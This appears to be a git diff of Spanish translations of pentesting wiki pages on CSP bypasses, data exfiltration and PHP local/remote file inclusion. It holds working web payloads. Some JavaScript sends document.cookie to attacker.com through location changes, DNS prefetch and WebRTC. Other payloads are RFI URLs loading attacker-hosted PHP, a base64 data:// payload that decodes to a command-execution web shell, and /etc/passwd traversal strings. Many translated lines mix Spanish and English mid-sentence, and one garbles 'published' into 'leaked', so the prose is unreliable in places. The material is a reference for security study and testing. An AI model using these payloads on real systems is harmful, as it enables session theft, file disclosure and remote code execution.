Desde [**this writeup**](https://blog.ssrf.kr/69) parece que era posible evadir una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -642,40 +643,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME es una técnica que abusa de un XSS (o XSS muy limitado) **en un endpoint de una página** para **abusar** **de otros endpoints del mismo origen.** Esto se hace cargando el endpoint vulnerable desde una página atacante y luego refrescando la página atacante hacia el endpoint real en el mismo origen que quieres abusar. De esta forma el **endpoint vulnerable** puede usar el objeto **`opener`** en la **payload** para **acceder al DOM** del **endpoint real a abusar**. Para más información consulta:
|
||||
SOME es una técnica que abusa de un XSS (o XSS muy limitado) **in an endpoint of a page** para **abuse** **other endpoints of the same origin.** Esto se hace cargando el endpoint vulnerable desde una página atacante y luego refrescando la página atacante hacia el endpoint real en el mismo origen que quieres abusar. De este modo el **vulnerable endpoint** puede usar el objeto **`opener`** en el **payload** para **access the DOM** del **real endpoint to abuse**. Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
|
||||
Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflect** los **data** enviados en la salida (con la limitación de solo letras, números y puntos).
|
||||
|
||||
Un atacante puede abusar de ese endpoint para **generar un SOME attack** contra WordPress e **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **SOME attack** a través del **vulnerable** **callback** endpoint que **elude la CSP** para otorgar más privilegios a un usuario, instalar un nuevo plugin...\
|
||||
Un atacante puede abusar de ese endpoint para **generate a SOME attack** contra WordPress e **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota que este **script** será **loaded** porque está **allowed by 'self'**. Además, y dado que WordPress está instalado, un atacante podría abusar del **SOME attack** a través del endpoint **callback** **vulnerable** que **bypasses the CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
|
||||
Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Si hay una CSP estricta que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
|
||||
Si existe una CSP estricta que no te permite **interactuar con servidores externos**, hay algunas cosas que siempre puedes hacer para exfiltrar la información.
|
||||
|
||||
### Location
|
||||
|
||||
Puedes simplemente actualizar la location para enviar al servidor del atacante la información secreta:
|
||||
You could just update the location to send to the attacker's server the secret information:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
### Etiqueta meta
|
||||
|
||||
Puedes redirigir inyectando una meta tag (esto es solo una redirección, esto no causará un leak de contenido)
|
||||
Podrías redirigir inyectando una etiqueta meta (esto es solo una redirección, esto no leak contenido)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
Para cargar las páginas más rápido, los navegadores van a pre-resolver los nombres de host en direcciones IP y almacenarlos en caché para uso posterior.\
|
||||
Para cargar las páginas más rápido, los navegadores van a pre-resolver nombres de host en direcciones IP y almacenarlas en caché para uso posterior.\
|
||||
Puedes indicar a un navegador que pre-resuelva un nombre de host con: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
Podrías abusar de este comportamiento para **exfiltrar información sensible mediante solicitudes DNS**:
|
||||
Podrías abusar de este comportamiento para **exfiltrate sensitive information via DNS requests**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -692,18 +693,18 @@ linkEl.rel = "prefetch"
|
||||
linkEl.href = urlWithYourPreciousData
|
||||
document.head.appendChild(linkEl)
|
||||
```
|
||||
Para evitar que esto ocurra, el servidor puede enviar la cabecera HTTP:
|
||||
Para evitar que esto ocurra, el servidor puede enviar el HTTP header:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!TIP]
|
||||
> Aparentemente, esta técnica no funciona en navegadores headless (bots)
|
||||
> Aparentemente, esta técnica no funciona en headless browsers (bots)
|
||||
|
||||
### WebRTC
|
||||
|
||||
En varias páginas puedes leer que **WebRTC no comprueba la directiva `connect-src`** del CSP.
|
||||
En varias páginas puedes leer que **WebRTC no comprueba la política `connect-src` del CSP**.
|
||||
|
||||
En realidad puedes _leak_ información usando una _solicitud DNS_. Mira este código:
|
||||
En realidad puedes _leak_ información usando una _DNS request_. Mira este código:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -725,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
La ventana emergente de credenciales envía una solicitud DNS a iconURL sin estar restringida por la página. Solo funciona en un contexto seguro (HTTPS) o en localhost.
|
||||
El popup de credenciales envía una petición DNS al iconURL sin que la página lo restrinja. Solo funciona en un contexto seguro (HTTPS) o en localhost.
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
|
||||
**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** El servidor carga un archivo local.
|
||||
|
||||
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que será cargado por el servidor.
|
||||
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.
|
||||
|
||||
Vulnerable **PHP functions**: require, require_once, include, include_once
|
||||
Funciones **PHP** vulnerables: require, require_once, include, include_once
|
||||
|
||||
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Combinando varias listas \*nix de LFI y añadiendo más rutas he creado esta:**
|
||||
**Combinando varias listas LFI de \*nix y añadiendo más rutas he creado esta:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Prueba también a cambiar `/` por `\`\
|
||||
Prueba también a añadir `../../../../../`
|
||||
Intenta también cambiar `/` por `\`\
|
||||
Intenta también añadir `../../../../../`
|
||||
|
||||
Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) puede encontrarse [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Combinación de diferentes wordlists:
|
||||
Fusión de diferentes wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Prueba también a cambiar `/` por `\`\
|
||||
Prueba también a eliminar `C:/` y añadir `../../../../../`
|
||||
Intenta también cambiar `/` por `\`\
|
||||
Intenta también eliminar `C:/` y añadir `../../../../../`
|
||||
|
||||
Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) puede encontrarse [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Consulta la lista LFI de linux.
|
||||
Revisa la lista LFI de linux.
|
||||
|
||||
## LFI básico y bypasses
|
||||
|
||||
Todos los ejemplos son para Local File Inclusion pero podrían aplicarse también a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences eliminadas de forma no recursiva
|
||||
### secuencias de traversal eliminadas de forma no recursiva
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Bypass para evitar la adición de más caracteres al final de la cadena proporcionada (bypass of: $\_GET\['param']."php")
|
||||
Bypass la adición de más caracteres al final de la cadena proporcionada (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
@ -80,26 +80,26 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Desde una carpeta existente
|
||||
|
||||
Quizás el back-end esté comprobando la ruta de la carpeta:
|
||||
Puede que el back-end esté verificando la ruta de la carpeta:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Explorando directorios del sistema de archivos en un servidor
|
||||
### Exploración de directorios del sistema de archivos en un servidor
|
||||
|
||||
El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograr esto:
|
||||
El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad de directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:
|
||||
|
||||
1. **Determinar la profundidad del directorio:** Determina la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux-based). Una URL de ejemplo podría tener la siguiente estructura, indicando una profundidad de tres:
|
||||
1. **Determine Directory Depth:** Asegura la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux-based). Un ejemplo de URL podría estar estructurado como sigue, indicando una profundidad de tres:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Buscar carpetas:** Añade el nombre de la carpeta sospechada (p. ej., `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno:
|
||||
2. **Sondea carpetas:** Añade el nombre de la carpeta sospechosa (por ejemplo, `private`) a la URL, luego vuelve a navegar a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpret the Outcomes:** La respuesta del servidor indica si la carpeta existe:
|
||||
- **Error / No Output:** La carpeta `private` probablemente no existe en la ubicación especificada.
|
||||
- **Contents of `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
|
||||
4. **Recursive Exploration:** Las carpetas descubiertas pueden ser inspeccionadas más a fondo en busca de subdirectorios o archivos usando la misma técnica o métodos tradicionales de Local File Inclusion (LFI).
|
||||
3. **Interpret the Outcomes:** La respuesta del servidor indica si el directorio existe:
|
||||
- **Error / No Output:** El directorio `private` probablemente no existe en la ubicación especificada.
|
||||
- **Contents of `/etc/passwd`:** Se confirma la presencia del directorio `private`.
|
||||
4. **Recursive Exploration:** Los directorios descubiertos pueden ser explorados adicionalmente en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
|
||||
|
||||
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
```bash
|
||||
@ -107,13 +107,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al eludir ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez alterada por la medida de seguridad, todavía apunte al archivo deseado.
|
||||
Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al evadir ciertas medidas de seguridad que agregan caracteres adicionales al final de las rutas de archivo. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.
|
||||
|
||||
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
|
||||
En PHP, diferentes representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, y `/etc/passwd/` son tratados como la misma ruta.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` se tratan todas como la misma ruta.
|
||||
- Cuando los últimos 6 caracteres son `passwd`, añadir una `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
|
||||
- De manera similar, si se añade `.php` a una ruta de archivo (por ejemplo `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede.
|
||||
- De manera similar, si se añade `.php` a una ruta de archivo (por ejemplo `shellcode.php`), añadir `/.` al final no alterará el archivo al que se accede.
|
||||
|
||||
Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
|
||||
```
|
||||
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
En estos escenarios, el número de traversals necesarios podría estar alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
|
||||
- **Usando dot segments y caracteres adicionales**: Las secuencias de traversal (`../`) combinadas con segmentos de puntos adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determinando el número requerido de traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Comenzar con un directorio falso**: Es una práctica común iniciar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir los requisitos de la lógica de parseo de rutas del servidor.
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
- **Determining the Required Number of Traversals**: A través de prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para satisfacer los requisitos de la lógica de parsing de rutas del servidor.
|
||||
|
||||
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de parseo de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y con frecuencia es necesario realizar pruebas para encontrar el método más efectivo.
|
||||
When employing path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y las pruebas son a menudo necesarias para encontrar el método más efectivo.
|
||||
|
||||
**Esta vulnerabilidad fue corregida en PHP 5.3.**
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
### **Trucos para evadir filtros**
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -150,18 +150,18 @@ En php esto está deshabilitado por defecto porque **`allow_url_include`** está
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el data protocol con base64 para decodificar un b64 PHP code y obtener RCE:
|
||||
Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtrando** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el data protocol con base64 para decodificar un b64 PHP code y obtener RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, por lo que la cadena termina con eso y después del b64 decode esa parte volverá solo basura y el verdadero código PHP será incluido (y por lo tanto, ejecutado).
|
||||
> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y, tras el b64 decode, esa parte devolverá solo basura y el código PHP real será incluido (y, por lo tanto, ejecutado).
|
||||
|
||||
Otro ejemplo **que no usa el protocolo `php://`** sería:
|
||||
Otro ejemplo **sin usar el protocolo `php://`** sería:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python Elemento raíz
|
||||
## Elemento raíz en Python
|
||||
|
||||
En Python, en un código como este:
|
||||
```python
|
||||
@ -173,13 +173,13 @@ Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior s
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
Este es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Si un componente es una ruta absoluta, todos los componentes anteriores se desechan y la concatenación continúa desde el componente de ruta absoluta.
|
||||
> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa a partir del componente de ruta absoluta.
|
||||
|
||||
## Listado de directorios en Java
|
||||
|
||||
Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurrirá en otros lenguajes (afaik).
|
||||
Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no ocurrirá en otros lenguajes (que yo sepa).
|
||||
|
||||
## Top 25 parámetros
|
||||
|
||||
@ -211,27 +211,27 @@ Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnera
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI usando PHP wrappers & protocolos
|
||||
## LFI / RFI usando wrappers y protocolos de PHP
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters permiten realizar operaciones básicas de **modificación sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
Los filtros de PHP permiten realizar operaciones básicas de **modificación sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Elimina tags de los datos (todo lo que esté entre los caracteres "<" y ">")
|
||||
- Nota que este filtro ha desaparecido en las versiones modernas de PHP
|
||||
- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que esté entre los caracteres "<" y ">")
|
||||
- Ten en cuenta que este filtro ha desaparecido en las versiones modernas de PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Transforma a una codificación distinta (`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** soportadas ejecuta en la consola: `iconv -l`
|
||||
- `convert.iconv.*` : Transforma a una codificación diferente(`convert.iconv.<input_enc>.<output_enc>`). Para obtener la **lista de todas las codificaciones** soportadas ejecuta en la consola: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más info revisa [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Comprime el contenido (útil si exfiltras mucha información)
|
||||
@ -239,8 +239,8 @@ PHP filters permiten realizar operaciones básicas de **modificación sobre los
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Otros Filters
|
||||
- Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de filtros **inesperados**:
|
||||
- Otros filtros
|
||||
- Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**:
|
||||
- `consumed`
|
||||
- `dechunk`: revierte la codificación chunked de HTTP
|
||||
- `convert.*`
|
||||
@ -271,25 +271,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> La parte "php://filter" no distingue mayúsculas y minúsculas
|
||||
> La parte "php://filter" no distingue entre mayúsculas y minúsculas
|
||||
|
||||
### Usando php filters como oráculo para leer archivos arbitrarios
|
||||
### Usando php filters como oracle para leer archivos arbitrarios
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva la salida. Esta técnica se basa en una **boolean exfiltration of the file (char by char) using php filters** como oráculo. Esto se debe a que php filters pueden usarse para hacer un texto lo suficientemente grande como para que php lance una excepción.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva su contenido. Esta técnica se basa en una **exfiltración booleana del archivo (char por char) usando php filters** como oracle. Esto es porque php filters pueden usarse para hacer un texto lo bastante grande como para que php lance una excepción.
|
||||
|
||||
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí va un resumen rápido:
|
||||
En el post original encontrarás una explicación detallada de la técnica, pero aquí va un resumen rápido:
|
||||
|
||||
- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usará para generar un **texto tan grande cuando la letra inicial se adivine correctamente** que php provocará un **error**.
|
||||
- El filtro **dechunk** **eliminará todo si el primer char no es un hexadecimal**, por lo que podemos saber si el primer char es hex.
|
||||
- Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto observando cuándo aplicamos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la eliminará y la bomba inicial provocará un error en php.
|
||||
- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
|
||||
- Cuando el primer char es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
|
||||
- El problema final es ver **cómo leak más que la letra inicial**. Usando filtros de reordenamiento de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los chars y poner en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **further data** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que pivote con los siguientes 2 bytes, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta llegar al bit deseado para leak.
|
||||
- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al inicio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
- Esto se usa para generar un **texto tan grande que, cuando la letra inicial se adivine correctamente, php provocará un** **error**
|
||||
- El filtro **dechunk** **eliminará todo si el primer carácter no es hexadecimal**, así que podemos saber si el primer carácter es hex.
|
||||
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo hacemos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la borrará y la bomba inicial provocará el error en php.
|
||||
- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una `a`, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por tanto dechunk no la elimina y se desencadena el error en php porque se multiplica con la bomba inicial.
|
||||
- Usando otras transformaciones como **rot13** al inicio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
|
||||
- Cuando el char inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
|
||||
- El problema final es ver **cómo leak más que la letra inicial**. Usando filtros de orden de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los chars y poner en la primera posición otras letras del texto.
|
||||
- Y para poder obtener **más datos** la idea es **generar 2 bytes de junk data al inicio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que haga **pivot con los siguientes 2 bytes**, y **eliminar los datos hasta los junk data** (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta alcanzar el byte deseado para leak.
|
||||
|
||||
En el post también se publicó una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
En el post también fue leaked una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
||||
